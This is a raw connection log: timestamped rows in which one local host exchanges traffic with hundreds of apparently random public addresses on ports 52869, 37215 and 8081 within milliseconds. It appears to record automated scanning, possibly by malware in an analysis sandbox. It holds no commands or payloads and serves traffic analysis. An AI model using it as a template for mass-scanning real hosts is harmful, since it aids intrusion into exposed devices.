Jul 20, 2024 23:01:01.660276890 CEST	52869	49909	222.151.202.253	192.168.2.14
Jul 20, 2024 23:01:01.660294056 CEST	37215	52725	197.137.74.201	192.168.2.14
Jul 20, 2024 23:01:01.660320044 CEST	52869	49909	51.249.121.241	192.168.2.14
Jul 20, 2024 23:01:01.660329103 CEST	37215	52725	197.179.55.14	192.168.2.14
Jul 20, 2024 23:01:01.660336971 CEST	52869	49909	90.146.163.93	192.168.2.14
Jul 20, 2024 23:01:01.660345078 CEST	37215	52725	197.56.200.101	192.168.2.14
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	143.175.82.45
Jul 20, 2024 23:01:01.660521984 CEST	50165	8081	192.168.2.14	118.191.128.241
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	97.242.134.148
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	111.69.101.251
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	193.203.254.211
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	2.48.167.192
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	208.228.135.109
Jul 20, 2024 23:01:01.660521984 CEST	49909	52869	192.168.2.14	123.137.74.26
Jul 20, 2024 23:01:01.660624981 CEST	50165	8081	192.168.2.14	113.24.86.35
Jul 20, 2024 23:01:01.660624981 CEST	50165	8081	192.168.2.14	45.249.117.50
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	115.74.94.198
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	59.239.22.67
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	85.56.119.156
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	123.136.241.119
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	138.125.93.118
Jul 20, 2024 23:01:01.660625935 CEST	50165	8081	192.168.2.14	25.163.107.205
Jul 20, 2024 23:01:01.660710096 CEST	49909	52869	192.168.2.14	213.127.240.84
Jul 20, 2024 23:01:01.660710096 CEST	49909	52869	192.168.2.14	34.185.75.194
Jul 20, 2024 23:01:01.660710096 CEST	49909	52869	192.168.2.14	175.93.7.73
Jul 20, 2024 23:01:01.660710096 CEST	49909	52869	192.168.2.14	60.29.206.143
Jul 20, 2024 23:01:01.660710096 CEST	49909	52869	192.168.2.14	202.40.234.128
Jul 20, 2024 23:01:01.661134005 CEST	52869	49909	35.112.217.187	192.168.2.14
Jul 20, 2024 23:01:01.661199093 CEST	37215	52725	41.156.70.244	192.168.2.14
Jul 20, 2024 23:01:01.661214113 CEST	52869	49909	2.229.175.12	192.168.2.14
Jul 20, 2024 23:01:01.661223888 CEST	52869	49909	38.32.235.210	192.168.2.14
Jul 20, 2024 23:01:01.661231995 CEST	37215	52725	197.176.223.107	192.168.2.14
Jul 20, 2024 23:01:01.661242008 CEST	52869	49909	36.198.164.211	192.168.2.14
Jul 20, 2024 23:01:01.661258936 CEST	37215	52725	92.44.163.203	192.168.2.14
Jul 20, 2024 23:01:01.661268950 CEST	52869	49909	82.116.127.119	192.168.2.14
Jul 20, 2024 23:01:01.661277056 CEST	52869	49909	126.63.129.65	192.168.2.14
Jul 20, 2024 23:01:01.661286116 CEST	37215	52725	190.84.44.13	192.168.2.14
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	166.105.27.185
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	112.39.57.151
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	1.172.244.6
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	93.27.149.226
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	32.154.200.191
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	209.236.206.19
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	93.49.211.204
Jul 20, 2024 23:01:01.661583900 CEST	49909	52869	192.168.2.14	76.39.6.206
Jul 20, 2024 23:01:01.661744118 CEST	52869	49909	209.180.225.131	192.168.2.14
Jul 20, 2024 23:01:01.661752939 CEST	37215	52725	41.62.252.224	192.168.2.14
Jul 20, 2024 23:01:01.661761045 CEST	52869	49909	190.120.169.109	192.168.2.14
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	48.203.187.54
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	219.102.36.208
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	143.151.146.37
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	203.117.119.28
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	40.4.167.143
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	159.76.235.15
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	159.122.145.72
Jul 20, 2024 23:01:01.662143946 CEST	49909	52869	192.168.2.14	103.245.84.176
Jul 20, 2024 23:01:01.662317991 CEST	49909	52869	192.168.2.14	153.248.215.68
Jul 20, 2024 23:01:01.662317991 CEST	49909	52869	192.168.2.14	180.110.76.181
Jul 20, 2024 23:01:01.662317991 CEST	49909	52869	192.168.2.14	184.150.134.241
Jul 20, 2024 23:01:01.662317991 CEST	49909	52869	192.168.2.14	165.106.28.124
Jul 20, 2024 23:01:01.662318945 CEST	49909	52869	192.168.2.14	48.138.196.198
Jul 20, 2024 23:01:01.662318945 CEST	49909	52869	192.168.2.14	66.228.188.189
Jul 20, 2024 23:01:01.662318945 CEST	49909	52869	192.168.2.14	113.137.201.103
Jul 20, 2024 23:01:01.662318945 CEST	49909	52869	192.168.2.14	175.154.70.103
Jul 20, 2024 23:01:01.662542105 CEST	52869	49909	40.156.155.77	192.168.2.14
Jul 20, 2024 23:01:01.663044930 CEST	8081	50165	50.25.143.35	192.168.2.14
Jul 20, 2024 23:01:01.663053989 CEST	8081	50165	45.250.75.182	192.168.2.14
Jul 20, 2024 23:01:01.663063049 CEST	52869	49909	149.3.41.152	192.168.2.14
Jul 20, 2024 23:01:01.663070917 CEST	8081	50165	150.68.225.205	192.168.2.14
Jul 20, 2024 23:01:01.663079977 CEST	52869	49909	98.212.47.174	192.168.2.14
Jul 20, 2024 23:01:01.663088083 CEST	8081	50165	90.240.82.223	192.168.2.14
Jul 20, 2024 23:01:01.663095951 CEST	8081	50165	115.192.153.206	192.168.2.14
Jul 20, 2024 23:01:01.663104057 CEST	8081	50165	110.231.24.177	192.168.2.14
Jul 20, 2024 23:01:01.663111925 CEST	8081	50165	192.67.75.80	192.168.2.14
Jul 20, 2024 23:01:01.663120985 CEST	8081	50165	167.202.188.3	192.168.2.14
Jul 20, 2024 23:01:01.663129091 CEST	8081	50165	179.71.237.234	192.168.2.14
Jul 20, 2024 23:01:01.663136959 CEST	8081	50165	60.251.232.122	192.168.2.14
Jul 20, 2024 23:01:01.663144112 CEST	8081	50165	58.28.188.75	192.168.2.14
Jul 20, 2024 23:01:01.663152933 CEST	8081	50165	89.111.105.39	192.168.2.14
Jul 20, 2024 23:01:01.663161039 CEST	8081	50165	13.210.174.207	192.168.2.14
Jul 20, 2024 23:01:01.663177013 CEST	37215	52725	197.241.51.171	192.168.2.14
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	223.47.46.151
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	36.11.65.143
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	167.30.69.121
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	138.173.141.165
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	79.75.96.74
Jul 20, 2024 23:01:01.663347960 CEST	49909	52869	192.168.2.14	104.64.183.123
Jul 20, 2024 23:01:01.664103031 CEST	50165	8081	192.168.2.14	60.66.41.211
Jul 20, 2024 23:01:01.664103985 CEST	50165	8081	192.168.2.14	57.251.134.231
Jul 20, 2024 23:01:01.664103985 CEST	50165	8081	192.168.2.14	170.136.214.126
Jul 20, 2024 23:01:01.664103985 CEST	50165	8081	192.168.2.14	154.252.206.239
Jul 20, 2024 23:01:01.664103985 CEST	49909	52869	192.168.2.14	124.229.55.135
Jul 20, 2024 23:01:01.664671898 CEST	50165	8081	192.168.2.14	89.15.82.148
Jul 20, 2024 23:01:01.664671898 CEST	50165	8081	192.168.2.14	173.64.134.113
Jul 20, 2024 23:01:01.664671898 CEST	50165	8081	192.168.2.14	54.145.210.187
Jul 20, 2024 23:01:01.664671898 CEST	49909	52869	192.168.2.14	101.71.112.133
Jul 20, 2024 23:01:01.664671898 CEST	49909	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:01.664671898 CEST	49909	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	212.213.233.214
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	130.248.131.170
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	111.197.160.70
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	76.167.2.252
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	170.230.98.251
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	131.30.165.92
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	17.169.15.42
Jul 20, 2024 23:01:01.665312052 CEST	49909	52869	192.168.2.14	70.81.124.243
Jul 20, 2024 23:01:01.665724039 CEST	37215	52725	41.210.119.234	192.168.2.14
Jul 20, 2024 23:01:01.665739059 CEST	37215	52725	167.219.163.163	192.168.2.14
Jul 20, 2024 23:01:01.665746927 CEST	37215	52725	157.208.95.241	192.168.2.14
Jul 20, 2024 23:01:01.665823936 CEST	52869	49909	173.171.125.50	192.168.2.14
Jul 20, 2024 23:01:01.665832043 CEST	52869	49909	87.85.193.52	192.168.2.14
Jul 20, 2024 23:01:01.665841103 CEST	52869	49909	211.247.22.129	192.168.2.14
Jul 20, 2024 23:01:01.665976048 CEST	52869	49909	130.190.186.142	192.168.2.14
Jul 20, 2024 23:01:01.665988922 CEST	52869	49909	8.188.8.56	192.168.2.14
Jul 20, 2024 23:01:01.665997028 CEST	52869	49909	165.198.120.17	192.168.2.14
Jul 20, 2024 23:01:01.666004896 CEST	52869	49909	102.223.154.160	192.168.2.14
Jul 20, 2024 23:01:01.666013956 CEST	52869	49909	196.159.190.117	192.168.2.14
Jul 20, 2024 23:01:01.666021109 CEST	52869	49909	177.232.37.130	192.168.2.14
Jul 20, 2024 23:01:01.666029930 CEST	52869	49909	141.25.137.192	192.168.2.14
Jul 20, 2024 23:01:01.666038036 CEST	52869	49909	110.190.170.59	192.168.2.14
Jul 20, 2024 23:01:01.666045904 CEST	52869	49909	66.134.165.127	192.168.2.14
Jul 20, 2024 23:01:01.666058064 CEST	52869	49909	79.199.66.178	192.168.2.14
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	163.3.247.216
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	47.135.219.213
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	137.9.146.7
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	192.88.148.145
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	208.131.184.32
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	194.208.79.230
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	201.47.46.121
Jul 20, 2024 23:01:01.666060925 CEST	49909	52869	192.168.2.14	45.43.43.248
Jul 20, 2024 23:01:01.666065931 CEST	52869	49909	202.104.226.178	192.168.2.14
Jul 20, 2024 23:01:01.666074038 CEST	52869	49909	90.177.164.7	192.168.2.14
Jul 20, 2024 23:01:01.666083097 CEST	52869	49909	93.146.13.88	192.168.2.14
Jul 20, 2024 23:01:01.666090965 CEST	52869	49909	148.251.241.27	192.168.2.14
Jul 20, 2024 23:01:01.666099072 CEST	52869	49909	131.143.187.44	192.168.2.14
Jul 20, 2024 23:01:01.666106939 CEST	52869	49909	39.210.89.58	192.168.2.14
Jul 20, 2024 23:01:01.666115999 CEST	52869	49909	164.167.12.122	192.168.2.14
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	67.49.3.118
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	63.62.30.183
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	43.205.199.45
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	94.69.94.228
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	149.107.133.62
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	98.86.217.89
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	100.45.174.9
Jul 20, 2024 23:01:01.666261911 CEST	49909	52869	192.168.2.14	53.235.177.181
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	146.178.29.63
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	220.158.230.42
Jul 20, 2024 23:01:01.666608095 CEST	49909	52869	192.168.2.14	40.180.122.90
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	197.206.38.169
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	185.20.215.98
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	124.101.82.98
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	131.216.167.188
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	199.192.14.39
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	147.231.183.14
Jul 20, 2024 23:01:01.666910887 CEST	49909	52869	192.168.2.14	66.148.110.109
Jul 20, 2024 23:01:01.666912079 CEST	49909	52869	192.168.2.14	97.234.195.139
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	146.241.18.216
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	119.153.197.44
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	211.27.182.62
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	19.237.167.106
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	77.94.55.192
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	4.2.156.1
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	51.49.156.124
Jul 20, 2024 23:01:01.667948008 CEST	49909	52869	192.168.2.14	160.122.171.134
Jul 20, 2024 23:01:01.669193029 CEST	52869	49909	125.3.74.189	192.168.2.14
Jul 20, 2024 23:01:01.669203043 CEST	52869	49909	209.18.126.8	192.168.2.14
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	167.12.90.190
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	71.198.103.163
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	132.170.66.154
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	169.125.253.118
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	167.185.110.241
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	138.243.241.17
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	160.251.106.211
Jul 20, 2024 23:01:01.669219971 CEST	49909	52869	192.168.2.14	123.201.125.177
Jul 20, 2024 23:01:01.669235945 CEST	52869	49909	40.154.4.194	192.168.2.14
Jul 20, 2024 23:01:01.669244051 CEST	52869	49909	189.62.96.130	192.168.2.14
Jul 20, 2024 23:01:01.669251919 CEST	52869	49909	112.81.247.52	192.168.2.14
Jul 20, 2024 23:01:01.669260025 CEST	52869	49909	188.113.207.193	192.168.2.14
Jul 20, 2024 23:01:01.669267893 CEST	52869	49909	121.157.93.141	192.168.2.14
Jul 20, 2024 23:01:01.669275999 CEST	52869	49909	166.141.208.49	192.168.2.14
Jul 20, 2024 23:01:01.669285059 CEST	52869	49909	13.116.23.66	192.168.2.14
Jul 20, 2024 23:01:01.669292927 CEST	52869	49909	223.90.200.221	192.168.2.14
Jul 20, 2024 23:01:01.669301033 CEST	52869	49909	203.17.88.26	192.168.2.14
Jul 20, 2024 23:01:01.669310093 CEST	52869	49909	38.59.46.16	192.168.2.14
Jul 20, 2024 23:01:01.669327021 CEST	52869	49909	116.127.249.114	192.168.2.14
Jul 20, 2024 23:01:01.669334888 CEST	52869	49909	2.166.97.26	192.168.2.14
Jul 20, 2024 23:01:01.669342995 CEST	52869	49909	4.76.132.243	192.168.2.14
Jul 20, 2024 23:01:01.669351101 CEST	52869	49909	89.19.188.162	192.168.2.14
Jul 20, 2024 23:01:01.669358969 CEST	52869	49909	187.152.198.171	192.168.2.14
Jul 20, 2024 23:01:01.669367075 CEST	52869	49909	145.181.32.187	192.168.2.14
Jul 20, 2024 23:01:01.669377089 CEST	52869	49909	150.98.203.205	192.168.2.14
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	103.165.193.29
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	221.115.133.155
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	24.252.131.220
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	212.64.177.112
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	37.75.222.46
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	205.89.121.149
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	194.134.189.49
Jul 20, 2024 23:01:01.669378042 CEST	49909	52869	192.168.2.14	63.149.53.202
Jul 20, 2024 23:01:01.669385910 CEST	52869	49909	102.74.231.103	192.168.2.14
Jul 20, 2024 23:01:01.669394970 CEST	52869	49909	79.47.50.52	192.168.2.14
Jul 20, 2024 23:01:01.669405937 CEST	52869	49909	122.251.247.22	192.168.2.14
Jul 20, 2024 23:01:01.669416904 CEST	52869	49909	142.63.104.210	192.168.2.14
Jul 20, 2024 23:01:01.669425011 CEST	52869	49909	205.51.123.179	192.168.2.14
Jul 20, 2024 23:01:01.669433117 CEST	52869	49909	161.38.138.203	192.168.2.14
Jul 20, 2024 23:01:01.669440985 CEST	52869	49909	74.241.45.34	192.168.2.14
Jul 20, 2024 23:01:01.669449091 CEST	52869	49909	185.165.8.181	192.168.2.14
Jul 20, 2024 23:01:01.669457912 CEST	52869	49909	76.37.231.153	192.168.2.14
Jul 20, 2024 23:01:01.669466972 CEST	52869	49909	128.16.232.126	192.168.2.14
Jul 20, 2024 23:01:01.669475079 CEST	52869	49909	199.190.73.110	192.168.2.14
Jul 20, 2024 23:01:01.669483900 CEST	52869	49909	173.55.63.223	192.168.2.14
Jul 20, 2024 23:01:01.669492960 CEST	52869	49909	74.151.195.150	192.168.2.14
Jul 20, 2024 23:01:01.669502020 CEST	52869	49909	12.143.130.188	192.168.2.14
Jul 20, 2024 23:01:01.669509888 CEST	52869	49909	64.138.112.197	192.168.2.14
Jul 20, 2024 23:01:01.669517994 CEST	52869	49909	158.39.197.5	192.168.2.14
Jul 20, 2024 23:01:01.669537067 CEST	52869	49909	206.224.171.168	192.168.2.14
Jul 20, 2024 23:01:01.669553995 CEST	52869	49909	112.101.54.108	192.168.2.14
Jul 20, 2024 23:01:01.669562101 CEST	52869	49909	131.234.166.183	192.168.2.14
Jul 20, 2024 23:01:01.669569969 CEST	52869	49909	129.40.55.194	192.168.2.14
Jul 20, 2024 23:01:01.669578075 CEST	37215	52725	155.108.238.231	192.168.2.14
Jul 20, 2024 23:01:01.669586897 CEST	52869	49909	13.24.238.21	192.168.2.14
Jul 20, 2024 23:01:01.669595957 CEST	37215	52725	17.142.113.86	192.168.2.14
Jul 20, 2024 23:01:01.669604063 CEST	52869	49909	189.218.75.154	192.168.2.14
Jul 20, 2024 23:01:01.669612885 CEST	37215	52725	173.85.77.31	192.168.2.14
Jul 20, 2024 23:01:01.669622898 CEST	52869	49909	108.65.187.201	192.168.2.14
Jul 20, 2024 23:01:01.669631004 CEST	52869	49909	79.111.44.54	192.168.2.14
Jul 20, 2024 23:01:01.669640064 CEST	37215	52725	197.206.16.185	192.168.2.14
Jul 20, 2024 23:01:01.669647932 CEST	52869	49909	192.112.181.64	192.168.2.14
Jul 20, 2024 23:01:01.669656038 CEST	52869	49909	24.85.93.51	192.168.2.14
Jul 20, 2024 23:01:01.669663906 CEST	37215	52725	197.5.132.220	192.168.2.14
Jul 20, 2024 23:01:01.669672966 CEST	37215	52725	137.87.136.218	192.168.2.14
Jul 20, 2024 23:01:01.669682026 CEST	52869	49909	78.239.143.72	192.168.2.14
Jul 20, 2024 23:01:01.669691086 CEST	52869	49909	43.145.56.16	192.168.2.14
Jul 20, 2024 23:01:01.669708014 CEST	52869	49909	79.178.206.5	192.168.2.14
Jul 20, 2024 23:01:01.669715881 CEST	52869	49909	47.176.29.89	192.168.2.14
Jul 20, 2024 23:01:01.669724941 CEST	52869	49909	53.61.246.149	192.168.2.14
Jul 20, 2024 23:01:01.669734001 CEST	52869	49909	93.208.115.1	192.168.2.14
Jul 20, 2024 23:01:01.669749975 CEST	52869	49909	70.32.28.235	192.168.2.14
Jul 20, 2024 23:01:01.669758081 CEST	52869	49909	85.153.211.131	192.168.2.14
Jul 20, 2024 23:01:01.669766903 CEST	52869	49909	190.240.70.168	192.168.2.14
Jul 20, 2024 23:01:01.669775009 CEST	52869	49909	91.62.107.221	192.168.2.14
Jul 20, 2024 23:01:01.669792891 CEST	52869	49909	166.164.65.71	192.168.2.14
Jul 20, 2024 23:01:01.669810057 CEST	52869	49909	191.219.60.78	192.168.2.14
Jul 20, 2024 23:01:01.669819117 CEST	52869	49909	125.21.119.63	192.168.2.14
Jul 20, 2024 23:01:01.669828892 CEST	52869	49909	212.188.70.66	192.168.2.14
Jul 20, 2024 23:01:01.669837952 CEST	52869	49909	131.84.55.94	192.168.2.14
Jul 20, 2024 23:01:01.669866085 CEST	52869	49909	92.65.243.52	192.168.2.14
Jul 20, 2024 23:01:01.669874907 CEST	52869	49909	153.17.12.37	192.168.2.14
Jul 20, 2024 23:01:01.669883013 CEST	52869	49909	168.147.24.62	192.168.2.14
Jul 20, 2024 23:01:01.669893980 CEST	52869	49909	182.189.252.142	192.168.2.14
Jul 20, 2024 23:01:01.669903040 CEST	52869	49909	129.62.198.136	192.168.2.14
Jul 20, 2024 23:01:01.669910908 CEST	52869	49909	181.217.27.35	192.168.2.14
Jul 20, 2024 23:01:01.669924974 CEST	52869	49909	202.125.128.56	192.168.2.14
Jul 20, 2024 23:01:01.669934034 CEST	52869	49909	183.180.39.47	192.168.2.14
Jul 20, 2024 23:01:01.669943094 CEST	52869	49909	50.255.193.210	192.168.2.14
Jul 20, 2024 23:01:01.669950962 CEST	52869	49909	103.179.73.163	192.168.2.14
Jul 20, 2024 23:01:01.669959068 CEST	52869	49909	66.25.105.41	192.168.2.14
Jul 20, 2024 23:01:01.669967890 CEST	52869	49909	107.157.120.205	192.168.2.14
Jul 20, 2024 23:01:01.669976950 CEST	52869	49909	60.161.151.139	192.168.2.14
Jul 20, 2024 23:01:01.669985056 CEST	52869	49909	43.171.137.2	192.168.2.14
Jul 20, 2024 23:01:01.669994116 CEST	52869	49909	43.233.86.230	192.168.2.14
Jul 20, 2024 23:01:01.670001984 CEST	52869	49909	167.198.197.126	192.168.2.14
Jul 20, 2024 23:01:01.670018911 CEST	52869	49909	62.52.52.9	192.168.2.14
Jul 20, 2024 23:01:01.670027018 CEST	37215	52725	197.51.101.33	192.168.2.14
Jul 20, 2024 23:01:01.670037985 CEST	52869	49909	2.121.154.211	192.168.2.14
Jul 20, 2024 23:01:01.670047998 CEST	52869	49909	219.223.160.20	192.168.2.14
Jul 20, 2024 23:01:01.670056105 CEST	37215	52725	41.250.244.77	192.168.2.14
Jul 20, 2024 23:01:01.670064926 CEST	37215	52725	140.186.31.130	192.168.2.14
Jul 20, 2024 23:01:01.670073032 CEST	52869	49909	49.4.5.112	192.168.2.14
Jul 20, 2024 23:01:01.670082092 CEST	52869	49909	90.94.174.5	192.168.2.14
Jul 20, 2024 23:01:01.670089960 CEST	52869	49909	87.189.73.133	192.168.2.14
Jul 20, 2024 23:01:01.670098066 CEST	52869	49909	112.188.71.20	192.168.2.14
Jul 20, 2024 23:01:01.670105934 CEST	52869	49909	110.190.196.16	192.168.2.14
Jul 20, 2024 23:01:01.670115948 CEST	52869	49909	176.74.248.75	192.168.2.14
Jul 20, 2024 23:01:01.670124054 CEST	52869	49909	129.75.183.108	192.168.2.14
Jul 20, 2024 23:01:01.670131922 CEST	52869	49909	25.162.120.16	192.168.2.14
Jul 20, 2024 23:01:01.670140982 CEST	52869	49909	188.210.108.3	192.168.2.14
Jul 20, 2024 23:01:01.670149088 CEST	37215	52725	157.70.42.95	192.168.2.14
Jul 20, 2024 23:01:01.670156956 CEST	52869	49909	116.249.152.16	192.168.2.14
Jul 20, 2024 23:01:01.670165062 CEST	52869	49909	161.96.67.110	192.168.2.14
Jul 20, 2024 23:01:01.670166016 CEST	49909	52869	192.168.2.14	93.253.127.39
Jul 20, 2024 23:01:01.670166016 CEST	49909	52869	192.168.2.14	65.201.52.99
Jul 20, 2024 23:01:01.670166016 CEST	49909	52869	192.168.2.14	74.93.122.98
Jul 20, 2024 23:01:01.670166016 CEST	49909	52869	192.168.2.14	157.242.18.104
Jul 20, 2024 23:01:01.670166969 CEST	49909	52869	192.168.2.14	168.20.39.149
Jul 20, 2024 23:01:01.670166969 CEST	49909	52869	192.168.2.14	69.18.180.186
Jul 20, 2024 23:01:01.670166969 CEST	49909	52869	192.168.2.14	84.251.183.169
Jul 20, 2024 23:01:01.670166969 CEST	49909	52869	192.168.2.14	162.74.219.77
Jul 20, 2024 23:01:01.670176029 CEST	52869	49909	173.103.182.239	192.168.2.14
Jul 20, 2024 23:01:01.670191050 CEST	52869	49909	109.179.79.88	192.168.2.14
Jul 20, 2024 23:01:01.670200109 CEST	37215	52725	82.227.254.28	192.168.2.14
Jul 20, 2024 23:01:01.670208931 CEST	52869	49909	216.170.240.139	192.168.2.14
Jul 20, 2024 23:01:01.670217037 CEST	52869	49909	132.118.60.139	192.168.2.14
Jul 20, 2024 23:01:01.670226097 CEST	52869	49909	76.57.31.87	192.168.2.14
Jul 20, 2024 23:01:01.670234919 CEST	52869	49909	220.22.123.50	192.168.2.14
Jul 20, 2024 23:01:01.670243979 CEST	52869	49909	72.244.128.159	192.168.2.14
Jul 20, 2024 23:01:01.670253992 CEST	52869	49909	135.138.253.170	192.168.2.14
Jul 20, 2024 23:01:01.670263052 CEST	52869	49909	221.174.244.97	192.168.2.14
Jul 20, 2024 23:01:01.670270920 CEST	52869	49909	184.201.211.106	192.168.2.14
Jul 20, 2024 23:01:01.670279980 CEST	52869	49909	77.15.206.197	192.168.2.14
Jul 20, 2024 23:01:01.670288086 CEST	52869	49909	167.27.38.190	192.168.2.14
Jul 20, 2024 23:01:01.670295954 CEST	52869	49909	78.235.37.214	192.168.2.14
Jul 20, 2024 23:01:01.670304060 CEST	52869	49909	179.229.228.252	192.168.2.14
Jul 20, 2024 23:01:01.670311928 CEST	52869	49909	134.3.65.135	192.168.2.14
Jul 20, 2024 23:01:01.670320988 CEST	52869	49909	13.100.171.44	192.168.2.14
Jul 20, 2024 23:01:01.670330048 CEST	52869	49909	129.9.42.102	192.168.2.14
Jul 20, 2024 23:01:01.670340061 CEST	52869	49909	41.48.198.141	192.168.2.14
Jul 20, 2024 23:01:01.670347929 CEST	52869	49909	139.142.224.17	192.168.2.14
Jul 20, 2024 23:01:01.670356035 CEST	8081	50165	45.71.48.133	192.168.2.14
Jul 20, 2024 23:01:01.670363903 CEST	52869	49909	70.122.128.122	192.168.2.14
Jul 20, 2024 23:01:01.670378923 CEST	52869	49909	182.122.20.48	192.168.2.14
Jul 20, 2024 23:01:01.670387030 CEST	8081	50165	179.126.109.40	192.168.2.14
Jul 20, 2024 23:01:01.670394897 CEST	52869	49909	72.13.90.187	192.168.2.14
Jul 20, 2024 23:01:01.670403004 CEST	52869	49909	206.17.196.39	192.168.2.14
Jul 20, 2024 23:01:01.670411110 CEST	8081	50165	191.18.68.185	192.168.2.14
Jul 20, 2024 23:01:01.670418978 CEST	52869	49909	2.244.30.69	192.168.2.14
Jul 20, 2024 23:01:01.670428038 CEST	52869	49909	176.71.117.7	192.168.2.14
Jul 20, 2024 23:01:01.670435905 CEST	52869	49909	115.223.205.24	192.168.2.14
Jul 20, 2024 23:01:01.670444965 CEST	52869	49909	85.236.184.176	192.168.2.14
Jul 20, 2024 23:01:01.670454979 CEST	8081	50165	97.189.79.179	192.168.2.14
Jul 20, 2024 23:01:01.670463085 CEST	52869	49909	20.117.159.93	192.168.2.14
Jul 20, 2024 23:01:01.670470953 CEST	52869	49909	136.184.246.205	192.168.2.14
Jul 20, 2024 23:01:01.670480013 CEST	52869	49909	219.191.122.98	192.168.2.14
